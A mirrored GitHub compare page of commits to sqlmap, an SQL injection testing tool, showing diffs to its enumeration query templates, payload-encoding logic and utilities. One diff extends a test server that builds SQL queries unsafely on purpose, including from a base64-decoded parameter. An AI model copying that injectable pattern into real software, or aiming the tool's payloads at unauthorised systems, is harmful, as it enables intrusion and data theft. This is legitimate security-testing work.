mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 20:51:31 +00:00
Compare commits
57 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fe4e79511a | ||
|
|
1d5bde9cdf | ||
|
|
227a23f091 | ||
|
|
0ff3b1ce70 | ||
|
|
7e483ffd7a | ||
|
|
a5852390f7 | ||
|
|
73d0c67a80 | ||
|
|
8e9f7e90c3 | ||
|
|
f6bf331b8f | ||
|
|
585645e806 | ||
|
|
673a5afe07 | ||
|
|
c9a8b915c8 | ||
|
|
9645aaa33f | ||
|
|
e556876fe6 | ||
|
|
0524670cf9 | ||
|
|
96a2c91701 | ||
|
|
5029d67e4f | ||
|
|
5af64f5ae4 | ||
|
|
bc981c517b | ||
|
|
87ad11dffb | ||
|
|
3663fa936b | ||
|
|
4687383a44 | ||
|
|
62cfd47b83 | ||
|
|
2bf22df53a | ||
|
|
0585a55ee0 | ||
|
|
babe52eb10 | ||
|
|
231c3da057 | ||
|
|
13a2ab3fa3 | ||
|
|
21cc6e3c99 | ||
|
|
a2a73b88ea | ||
|
|
210a4c3a0a | ||
|
|
15225668d0 | ||
|
|
c1bf36b876 | ||
|
|
229f89004b | ||
|
|
443b1f2ed5 | ||
|
|
60f4520020 | ||
|
|
7460b87f1d | ||
|
|
5d08b9004e | ||
|
|
c2b9e539ae | ||
|
|
3d8eb62a59 | ||
|
|
d51e45fd34 | ||
|
|
3258e29cf9 | ||
|
|
e0ea1ab5e9 | ||
|
|
192ca02c41 | ||
|
|
f0bbbb0918 | ||
|
|
f6857d4ee4 | ||
|
|
a1342e04a5 | ||
|
|
7963281c41 | ||
|
|
715063f0d4 | ||
|
|
1658331810 | ||
|
|
bfe93e20c5 | ||
|
|
bcea050f22 | ||
|
|
c4a692abe3 | ||
|
|
b42b62ae38 | ||
|
|
a7f20c1d67 | ||
|
|
f781367ac1 | ||
|
|
1bec3a953c |
@@ -198,11 +198,11 @@
|
|||||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
@@ -301,8 +301,8 @@
|
|||||||
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||||
<search_db>
|
<search_db>
|
||||||
|
|||||||
@@ -277,7 +277,7 @@ be bound by the terms and conditions of this License Agreement.
|
|||||||
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
||||||
Copyright (C) 2012, Marcel Hellkamp.
|
Copyright (C) 2012, Marcel Hellkamp.
|
||||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||||
Copyright (C) 2019, Miroslav Stampar.
|
Copyright (C) 2019-2020, Miroslav Stampar.
|
||||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||||
Copyright (C) 2009, Raymond Hettinger.
|
Copyright (C) 2009, Raymond Hettinger.
|
||||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||||
|
|||||||
@@ -43,7 +43,7 @@ Tautan
|
|||||||
* Situs: http://sqlmap.org
|
* Situs: http://sqlmap.org
|
||||||
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||||
|
|||||||
@@ -7,7 +7,7 @@
|
|||||||
|
|
||||||
export SQLMAP_DREI=1
|
export SQLMAP_DREI=1
|
||||||
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
#for i in $(find . -iname "*.py" | grep -v __init__); do python3 -c 'import '`echo $i | cut -d '.' -f 2 | cut -d '/' -f 2- | sed 's/\//./g'`''; done
|
||||||
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.7 -m compileall $i | sed 's/Compiling/Checking/g'; done
|
for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3 -m compileall $i | sed 's/Compiling/Checking/g'; done
|
||||||
unset SQLMAP_DREI
|
unset SQLMAP_DREI
|
||||||
source `dirname "$0"`"/junk.sh"
|
source `dirname "$0"`"/junk.sh"
|
||||||
|
|
||||||
|
|||||||
@@ -9,6 +9,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
|
|
||||||
from __future__ import print_function
|
from __future__ import print_function
|
||||||
|
|
||||||
|
import base64
|
||||||
import json
|
import json
|
||||||
import re
|
import re
|
||||||
import sqlite3
|
import sqlite3
|
||||||
@@ -146,6 +147,9 @@ class ReqHandler(BaseHTTPRequestHandler):
|
|||||||
if "query" in self.params:
|
if "query" in self.params:
|
||||||
_cursor.execute(self.params["query"])
|
_cursor.execute(self.params["query"])
|
||||||
elif "id" in self.params:
|
elif "id" in self.params:
|
||||||
|
if "base64" in self.params:
|
||||||
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
|
||||||
|
else:
|
||||||
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
|
||||||
results = _cursor.fetchall()
|
results = _cursor.fetchall()
|
||||||
|
|
||||||
|
|||||||
@@ -291,7 +291,7 @@ def start():
|
|||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
if kb.targets and len(kb.targets) > 1:
|
if kb.targets and isListLike(kb.targets) and len(kb.targets) > 1:
|
||||||
infoMsg = "found a total of %d targets" % len(kb.targets)
|
infoMsg = "found a total of %d targets" % len(kb.targets)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
@@ -704,6 +704,12 @@ def start():
|
|||||||
action()
|
action()
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
|
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
|
||||||
|
kb.multipleCtrlC = True
|
||||||
|
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
|
||||||
|
|
||||||
|
kb.lastCtrlCTime = time.time()
|
||||||
|
|
||||||
if conf.multipleTargets:
|
if conf.multipleTargets:
|
||||||
warnMsg = "user aborted in multiple target mode"
|
warnMsg = "user aborted in multiple target mode"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|||||||
@@ -42,6 +42,7 @@ from lib.core.enums import PAYLOAD
|
|||||||
from lib.core.enums import PLACE
|
from lib.core.enums import PLACE
|
||||||
from lib.core.enums import POST_HINT
|
from lib.core.enums import POST_HINT
|
||||||
from lib.core.exception import SqlmapNoneDataException
|
from lib.core.exception import SqlmapNoneDataException
|
||||||
|
from lib.core.settings import BOUNDED_BASE64_MARKER
|
||||||
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
|
||||||
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
from lib.core.settings import BOUNDED_INJECTION_MARKER
|
||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
@@ -183,7 +184,7 @@ class Agent(object):
|
|||||||
newValue = self.adjustLateValues(newValue)
|
newValue = self.adjustLateValues(newValue)
|
||||||
|
|
||||||
# TODO: support for POST_HINT
|
# TODO: support for POST_HINT
|
||||||
newValue = encodeBase64(newValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
|
newValue = "%s%s%s" % (BOUNDED_BASE64_MARKER, newValue, BOUNDED_BASE64_MARKER)
|
||||||
|
|
||||||
if parameter in kb.base64Originals:
|
if parameter in kb.base64Originals:
|
||||||
origValue = kb.base64Originals[parameter]
|
origValue = kb.base64Originals[parameter]
|
||||||
@@ -397,6 +398,10 @@ class Agent(object):
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
if payload:
|
if payload:
|
||||||
|
for match in re.finditer(r"%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
|
||||||
|
_ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
|
||||||
|
payload = payload.replace(match.group(0), _)
|
||||||
|
|
||||||
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
|
||||||
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
|
||||||
|
|
||||||
@@ -1202,6 +1207,9 @@ class Agent(object):
|
|||||||
|
|
||||||
def whereQuery(self, query):
|
def whereQuery(self, query):
|
||||||
if conf.dumpWhere and query:
|
if conf.dumpWhere and query:
|
||||||
|
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
|
||||||
|
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
|
||||||
|
else:
|
||||||
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
||||||
if match:
|
if match:
|
||||||
suffix = match.group(0)
|
suffix = match.group(0)
|
||||||
@@ -1217,7 +1225,7 @@ class Agent(object):
|
|||||||
prefix += " WHERE %s" % conf.dumpWhere
|
prefix += " WHERE %s" % conf.dumpWhere
|
||||||
|
|
||||||
query = prefix
|
query = prefix
|
||||||
if suffix:
|
if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
|
||||||
query += suffix
|
query += suffix
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|||||||
@@ -215,7 +215,7 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
|
|||||||
fp.write("[%s]\n" % _configparser.DEFAULTSECT)
|
fp.write("[%s]\n" % _configparser.DEFAULTSECT)
|
||||||
|
|
||||||
for (key, value) in self._defaults.items():
|
for (key, value) in self._defaults.items():
|
||||||
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
|
fp.write("\t%s = %s" % (key, getUnicode(value, UNICODE_ENCODING)))
|
||||||
|
|
||||||
fp.write("\n")
|
fp.write("\n")
|
||||||
|
|
||||||
@@ -225,9 +225,9 @@ class UnicodeRawConfigParser(_configparser.RawConfigParser):
|
|||||||
for (key, value) in self._sections[section].items():
|
for (key, value) in self._sections[section].items():
|
||||||
if key != "__name__":
|
if key != "__name__":
|
||||||
if value is None:
|
if value is None:
|
||||||
fp.write("%s\n" % (key))
|
fp.write("\t%s\n" % (key))
|
||||||
else:
|
elif not isListLike(value):
|
||||||
fp.write("%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING).replace('\n', '\n\t')))
|
fp.write("\t%s = %s\n" % (key, getUnicode(value, UNICODE_ENCODING)))
|
||||||
|
|
||||||
fp.write("\n")
|
fp.write("\n")
|
||||||
|
|
||||||
@@ -632,6 +632,7 @@ def paramToDict(place, parameters=None):
|
|||||||
if parameter in (conf.base64Parameter or []):
|
if parameter in (conf.base64Parameter or []):
|
||||||
try:
|
try:
|
||||||
kb.base64Originals[parameter] = oldValue = value
|
kb.base64Originals[parameter] = oldValue = value
|
||||||
|
value = urldecode(value, convall=True)
|
||||||
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||||
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
|
||||||
except:
|
except:
|
||||||
@@ -1748,7 +1749,7 @@ def expandAsteriskForColumns(expression):
|
|||||||
the SQL query string (expression)
|
the SQL query string (expression)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
|
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+((`[^`]+`|[^\s]+)+)", expression)
|
||||||
|
|
||||||
if match:
|
if match:
|
||||||
infoMsg = "you did not provide the fields in your query. "
|
infoMsg = "you did not provide the fields in your query. "
|
||||||
@@ -2070,6 +2071,8 @@ def safeStringFormat(format_, params):
|
|||||||
|
|
||||||
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
|
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
|
||||||
'SELECT foo FROM bar LIMIT 1'
|
'SELECT foo FROM bar LIMIT 1'
|
||||||
|
>>> safeStringFormat("SELECT foo FROM %s WHERE name LIKE '%susan%' LIMIT %d", ('bar', '1'))
|
||||||
|
"SELECT foo FROM bar WHERE name LIKE '%susan%' LIMIT 1"
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if format_.count(PAYLOAD_DELIMITER) == 2:
|
if format_.count(PAYLOAD_DELIMITER) == 2:
|
||||||
@@ -2113,7 +2116,10 @@ def safeStringFormat(format_, params):
|
|||||||
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
|
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS)
|
||||||
raise SqlmapValueException(warnMsg)
|
raise SqlmapValueException(warnMsg)
|
||||||
else:
|
else:
|
||||||
|
try:
|
||||||
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
|
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
|
||||||
|
except re.error:
|
||||||
|
retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1)
|
||||||
count += 1
|
count += 1
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
@@ -3608,7 +3614,7 @@ def isListLike(value):
|
|||||||
False
|
False
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return isinstance(value, (list, tuple, set, BigArray))
|
return isinstance(value, (list, tuple, set, OrderedSet, BigArray))
|
||||||
|
|
||||||
def getSortedInjectionTests():
|
def getSortedInjectionTests():
|
||||||
"""
|
"""
|
||||||
@@ -4773,7 +4779,7 @@ def serializeObject(object_):
|
|||||||
"""
|
"""
|
||||||
Serializes given object
|
Serializes given object
|
||||||
|
|
||||||
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == six.binary_type
|
>>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str
|
||||||
True
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
@@ -5296,7 +5302,7 @@ def parseRequestFile(reqFile, checkParams=True):
|
|||||||
params = True
|
params = True
|
||||||
|
|
||||||
# Avoid proxy and connection type related headers
|
# Avoid proxy and connection type related headers
|
||||||
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
|
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH):
|
||||||
headers.append((getUnicode(key), getUnicode(value)))
|
headers.append((getUnicode(key), getUnicode(value)))
|
||||||
|
|
||||||
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
|
||||||
|
|||||||
@@ -48,16 +48,16 @@ def base64pickle(value):
|
|||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL))
|
retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False)
|
||||||
except:
|
except:
|
||||||
warnMsg = "problem occurred while serializing "
|
warnMsg = "problem occurred while serializing "
|
||||||
warnMsg += "instance of a type '%s'" % type(value)
|
warnMsg += "instance of a type '%s'" % type(value)
|
||||||
singleTimeWarnMessage(warnMsg)
|
singleTimeWarnMessage(warnMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = encodeBase64(pickle.dumps(value))
|
retVal = encodeBase64(pickle.dumps(value), binary=False)
|
||||||
except:
|
except:
|
||||||
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL))
|
retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
|||||||
@@ -239,6 +239,7 @@ class HTTP_HEADER(object):
|
|||||||
EXPIRES = "Expires"
|
EXPIRES = "Expires"
|
||||||
HOST = "Host"
|
HOST = "Host"
|
||||||
IF_MODIFIED_SINCE = "If-Modified-Since"
|
IF_MODIFIED_SINCE = "If-Modified-Since"
|
||||||
|
IF_NONE_MATCH = "If-None-Match"
|
||||||
LAST_MODIFIED = "Last-Modified"
|
LAST_MODIFIED = "Last-Modified"
|
||||||
LOCATION = "Location"
|
LOCATION = "Location"
|
||||||
PRAGMA = "Pragma"
|
PRAGMA = "Pragma"
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
from __future__ import division
|
from __future__ import division
|
||||||
|
|
||||||
import codecs
|
import codecs
|
||||||
|
import collections
|
||||||
import functools
|
import functools
|
||||||
import glob
|
import glob
|
||||||
import inspect
|
import inspect
|
||||||
@@ -412,6 +413,37 @@ def _doSearch():
|
|||||||
else:
|
else:
|
||||||
conf.googlePage += 1
|
conf.googlePage += 1
|
||||||
|
|
||||||
|
def _setStdinPipeTargets():
|
||||||
|
if isinstance(conf.stdinPipe, collections.Iterable):
|
||||||
|
infoMsg = "using 'STDIN' for parsing targets list"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
class _(object):
|
||||||
|
def __init__(self):
|
||||||
|
self.__rest = OrderedSet()
|
||||||
|
|
||||||
|
def __iter__(self):
|
||||||
|
return self
|
||||||
|
|
||||||
|
def __next__(self):
|
||||||
|
return self.next()
|
||||||
|
|
||||||
|
def next(self):
|
||||||
|
line = next(conf.stdinPipe)
|
||||||
|
if line:
|
||||||
|
match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
|
||||||
|
if match:
|
||||||
|
return (match.group(0), conf.method, conf.data, conf.cookie, None)
|
||||||
|
elif self.__rest:
|
||||||
|
return self.__rest.pop()
|
||||||
|
|
||||||
|
raise StopIteration()
|
||||||
|
|
||||||
|
def add(self, elem):
|
||||||
|
self.__rest.add(elem)
|
||||||
|
|
||||||
|
kb.targets = _()
|
||||||
|
|
||||||
def _setBulkMultipleTargets():
|
def _setBulkMultipleTargets():
|
||||||
if not conf.bulkFile:
|
if not conf.bulkFile:
|
||||||
return
|
return
|
||||||
@@ -431,7 +463,7 @@ def _setBulkMultipleTargets():
|
|||||||
if conf.scope and not re.search(conf.scope, line, re.I):
|
if conf.scope and not re.search(conf.scope, line, re.I):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data:
|
||||||
found = True
|
found = True
|
||||||
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
||||||
|
|
||||||
@@ -825,7 +857,7 @@ def _setTamperingFunctions():
|
|||||||
|
|
||||||
def _setPreprocessFunctions():
|
def _setPreprocessFunctions():
|
||||||
"""
|
"""
|
||||||
Loads preprocess functions from given script(s)
|
Loads preprocess function(s) from given script(s)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.preprocess:
|
if conf.preprocess:
|
||||||
@@ -870,18 +902,96 @@ def _setPreprocessFunctions():
|
